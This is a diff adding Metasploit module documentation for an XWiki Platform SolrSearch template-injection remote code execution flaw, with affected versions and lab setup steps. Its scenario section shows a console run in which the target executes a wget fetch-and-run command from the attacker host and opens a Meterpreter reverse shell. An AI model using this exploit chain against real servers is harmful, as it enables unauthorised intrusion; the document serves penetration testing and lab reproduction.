|
| 1 | +## Vulnerable Application |
| 2 | + |
| 3 | +This module exploits a template injection vulnerability in the the XWiki Platform. |
| 4 | +XWiki includes a macro called SolrSearch (defined in Main.SolrSearchMacros) that enables full-text search through the embedded Solr engine. |
| 5 | +The vulnerability stems from the way this macro evaluates search parameters in Groovy, failing to sanitize or restrict malicious input. |
| 6 | + |
| 7 | +This vulnerability affects XWiki Platform versions >= 5.3‑milestone‑2 and < 15.10.11, and versions >= 16.0.0‑rc‑1 and < 16.4.1. |
| 8 | +Successful exploitation may result in remote code execution under the privileges of the web server, potentially exposing sensitive data or disrupting survey operations. |
| 9 | + |
| 10 | +An attacker can execute arbitrary system commands in the context of the user running the web server. |
| 11 | + |
| 12 | +## Testing |
| 13 | + |
| 14 | +### Setup a Linux Server to Host the XWiki |
| 15 | + |
| 16 | +To set up a test environment: |
| 17 | + |
| 18 | +1. Download and Install Ubuntu 18.04.6 LTS |
| 19 | + |
| 20 | +Download the ISO from the official Ubuntu archive: |
| 21 | +https://releases.ubuntu.com/18.04/ |
| 22 | + |
| 23 | +2. Install OpenJDK 17 |
| 24 | + |
| 25 | +``` |
| 26 | +wget https://github.com/adoptium/temurin17-binaries/releases/download/jdk-17.0.9%2B9/OpenJDK17U-jdk_x64_linux_hotspot_17.0.9_9.tar.gz |
| 27 | +sudo mkdir -p /opt/java |
| 28 | +sudo tar -xzf OpenJDK17U-jdk_x64_linux_hotspot_17.0.9_9.tar.gz -C /opt/java |
| 29 | +export JAVA_HOME=/opt/java/jdk-17.0.9+9 |
| 30 | +export PATH=$JAVA_HOME/bin:$PATH |
| 31 | +``` |
| 32 | + |
| 33 | +3. Download and Unpack Vulnerable XWiki |
| 34 | + |
| 35 | +``` |
| 36 | +wget https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-distribution-flavor-jetty-hsqldb/15.10.5/xwiki-platform-distribution-flavor-jetty-hsqldb-15.10.5.zip |
| 37 | +``` |
| 38 | + |
| 39 | +``` |
| 40 | +unzip https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-distribution-flavor-jetty-hsqldb/15.10.5/xwiki-platform-distribution-flavor-jetty-hsqldb-15.10.5.zip |
| 41 | +``` |
| 42 | + |
| 43 | +4. Run XWiki |
| 44 | + |
| 45 | +Go to the directory where you've unpack archive and run `start_xwiki.sh` |
| 46 | + |
| 47 | +### Setup a Windows Server to Host XWiki |
| 48 | + |
| 49 | +1. Download and Install Windows |
| 50 | + |
| 51 | +Download Windows 10 ISO from the official Microsoft site: |
| 52 | +https://www.microsoft.com/en-us/software-download/windows10 |
| 53 | + |
| 54 | +Follow standard installation steps in your hypervisor (e.g., VirtualBox, VMware, etc.). |
| 55 | + |
| 56 | +2. Install OpenJDK 17 |
| 57 | + |
| 58 | +Download `.msi` file from this page |
| 59 | + |
| 60 | +``` |
| 61 | +https://learn.microsoft.com/en-us/java/openjdk/download#openjdk-17 |
| 62 | +``` |
| 63 | + |
| 64 | +and install |
| 65 | + |
| 66 | +3. Download and Unpack Vulnerable XWiki |
| 67 | + |
| 68 | +``` |
| 69 | +https://nexus.xwiki.org/nexus/content/groups/public/org/xwiki/platform/xwiki-platform-distribution-flavor-jetty-hsqldb/15.10.5/xwiki-platform-distribution-flavor-jetty-hsqldb-15.10.5.zip |
| 70 | +``` |
| 71 | + |
| 72 | +Open with 7-zip or another archiver and unpack |
| 73 | + |
| 74 | +4. Run XWiki |
| 75 | + |
| 76 | +Go to the directory where you've unpack archive and run `start_xwiki.bat` |
| 77 | + |
| 78 | +## Scenario |
| 79 | + |
| 80 | +``` |
| 81 | +msf6 > use multi/http/xwiki_unauth_rce_cve_2025_24893 |
| 82 | +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp |
| 83 | +msf6 exploit(multi/http/xwiki_unauth_rce_cve_2025_24893) > set RHOSTS 192.168.19.136 |
| 84 | +RHOSTS => 192.168.19.136 |
| 85 | +msf6 exploit(multi/http/xwiki_unauth_rce_cve_2025_24893) > set RPORT 8080 |
| 86 | +RPORT => 8080 |
| 87 | +msf6 exploit(multi/http/xwiki_unauth_rce_cve_2025_24893) > run verbose=true |
| 88 | +
|
| 89 | +[*] Command to run on remote host: wget -qO ./oXsSiyiPG http://192.168.19.130:8080/TZr1rd35vcaOY2R1ivAgxA; chmod +x ./oXsSiyiPG; ./oXsSiyiPG & |
| 90 | +[*] Fetch handler listening on 192.168.19.130:8080 |
| 91 | +[*] HTTP server started |
| 92 | +[*] Adding resource /TZr1rd35vcaOY2R1ivAgxA |
| 93 | +[*] Started reverse TCP handler on 192.168.19.130:4444 |
| 94 | +[*] Running automatic check ("set AutoCheck false" to disable) |
| 95 | +[*] Extracting version... |
| 96 | +[*] Extracted version: 15.10.5 |
| 97 | +[+] The target appears to be vulnerable. |
| 98 | +[*] Building command for target... |
| 99 | +[*] Uploading malicious payload... |
| 100 | +[*] Client 192.168.19.136 requested /TZr1rd35vcaOY2R1ivAgxA |
| 101 | +[*] Sending payload to 192.168.19.136 (Wget/1.19.4 (linux-gnu)) |
| 102 | +[*] Client 192.168.19.136 requested /TZr1rd35vcaOY2R1ivAgxA |
| 103 | +[*] Sending payload to 192.168.19.136 (Wget/1.19.4 (linux-gnu)) |
| 104 | +[*] Transmitting intermediate stager...(126 bytes) |
| 105 | +[*] Sending stage (3045380 bytes) to 192.168.19.136 |
| 106 | +[*] Transmitting intermediate stager...(126 bytes) |
| 107 | +[*] Sending stage (3045380 bytes) to 192.168.19.136 |
| 108 | +[-] Failed to load client portion of stdapi. |
| 109 | +[*] Meterpreter session 2 opened (192.168.19.130:4444 -> 192.168.19.136:36512) at 2025-08-23 23:42:12 -0400 |
| 110 | +
|
| 111 | +[*] Meterpreter session 1 opened (192.168.19.130:4444 -> 192.168.19.136:36510) at 2025-08-23 23:42:12 -0400 |
| 112 | +meterpreter > sysinfo |
| 113 | +Computer : 192.168.19.136 |
| 114 | +OS : Ubuntu 18.04 (Linux 5.4.0-150-generic) |
| 115 | +Architecture : x64 |
| 116 | +BuildTuple : x86_64-linux-musl |
| 117 | +Meterpreter : x64/linux |
| 118 | +meterpreter > |
| 119 | +``` |
0 commit comments